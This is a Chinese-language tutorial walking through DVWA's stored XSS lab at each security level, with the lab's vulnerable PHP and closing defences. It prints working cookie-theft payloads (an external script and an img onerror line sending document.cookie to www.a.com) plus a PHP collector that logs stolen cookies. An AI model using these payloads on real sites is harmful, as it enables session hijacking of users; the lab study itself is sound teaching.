• DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting


    上一篇文章会介绍了反射型 XSS 攻击。本文主要是通过 dvwa 介绍存储型 XSS 攻击。存储型 XSS 攻击影响范围极大。比如是微博、贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码获取用户的 cookies,想想如果代码中再加入自动转发功能,每个看过那条微博的用户都会被偷 cookies 和自动转发!像网络病毒一样的传播速度啊!恐怖如斯!

    低级

    功能很简单。点击提交就会有相应的文字。 此时,Hacker 在里面输入 <script>alert(1)</script>

    也就是有注入漏洞了。于是 Hacker 再输入了 <script src="//www.a.com/test.js"></script>

    //test.js
    var img = document.createElement("img")
    img.src = "http://www.a.com/?cookies="+escape(document.cookie);
    document.body.appendChild(img);
    

    然后所有看到这条信息的用户的 cookies 就会被偷走了。 而低级的代码是这样的,没有做任何的防护

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    ?>
    

    中级

    中级代码,会意识到这个问题 所以会对 message 进行处理

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = mysql_real_escape_string( $message );
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = mysql_real_escape_string( $name );
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    然而百密一疏,name 字段只有去掉 script 字符串 和用mysql_real_escape_string函数进行转义
    所有可以利用 name 字段注入

    Hacker 输入在 Name 字段输入 前端那里有个字符长度的限制。你可以用火狐直接将 maxlength 改大,或者用 brupSuite 的改就可以了。 所以这代码最后还是可以被注入的。

    高级

    高级代码 对 name 的验证有所改变。

    <?php
      //...
    
      // Sanitize name input
      $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
      $name = mysql_real_escape_string( $name );
    
      //...
    ?>
    

    如果看过上一篇文章,应该会了解。这样的代码可以用 img 等元素绕过的。 <img src=x onerror="e=escape;this.src='//www.a.com?cookies='+e(document.cookie)"> 要改下 www.a.com/index.php 因为原本只是记录 cookies 到文件中,不返回图片的。这段注入代码执行后会不断地发请求的。所以改成返回一张图片就可以了。比如

    <?php
    $name = 'gakki.jpg';
    $fp = fopen($name, 'rb');
    
    header("Content-Type: image/png");
    header("Content-Length: " . filesize($name));
    
    fpassthru($fp);
    $c = $_GET["cookies"];
    echo $c;
    error_log($c ."". "
    ",3,"/var/log/a/cookies");
    ?>
    

    结果如下

    沉迷我老婆美色的时候,cookie 就被偷走了

    不可能

    不可能级别有

    • anti-token 机制防 CSRF 攻击
    • 使用 db->prepare  预编译,绑定参数的方式,防 SQL 攻击
    • name 和 message 参数通过 htmlspecialchars 等函数防御
    <?php
        
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        
        // Sanitize message input
        $message = stripslashes( $message );
        $message = mysql_real_escape_string( $message );
        $message = htmlspecialchars( $message );
        
        // Sanitize name input
        $name = stripslashes( $name );
        $name = mysql_real_escape_string( $name );
        $name = htmlspecialchars( $name );
        
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
        
    // Generate Anti-CSRF token
    generateSessionToken();
        
    ?>
    

    防御 XSS 攻击

    下面是防御 XSS 攻击的措施

    • 参数校验,比如中高级的如果 name 参数后端也判断了长度不能超过 10。 攻击者注入的难度的增大很多了。比如百度网盘这个案例
    • 后端可以使用 HttpOnly 的方式,之前的攻击手段基本会用 document.cookies 就能获取当前网页的 cookie 了。 比如这样
    <?php
        header("Set-Cookie: cookie1=test1");
        header("Set-Cookie: cookie2=test2;httponly",false)
    ?>
    <script>
        alert(document.cookie);
    </script>
    

    只会把 cookie1=test1 弹窗。就算有漏洞也可以减少损失

    • 输出的检查,比如 php 中 htmlspecialchars 函数。
  • 相关阅读:
    Populating Next Right Pointers in Each Node
    Reverse Linked List
    Reverse Linked List II
    Triangle
    Surrounded Regions
    Effective_STL 学习笔记(十九) 了解相等和等价的区别
    Effective_STL 学习笔记(十八) 避免使用 vector<bool>
    Effective_STL 学习笔记(十七) 使用 “交换技巧” 来修整过剩的容量
    Effective_C++ (条款02) 尽量以 const,enum,inline替换 #define
    Effective_C++ (条款01) 视 C++ 为一个语言联邦
  • 原文地址:https://www.cnblogs.com/jojo-feed/p/10188358.html
Copyright © 2020-2023  润新知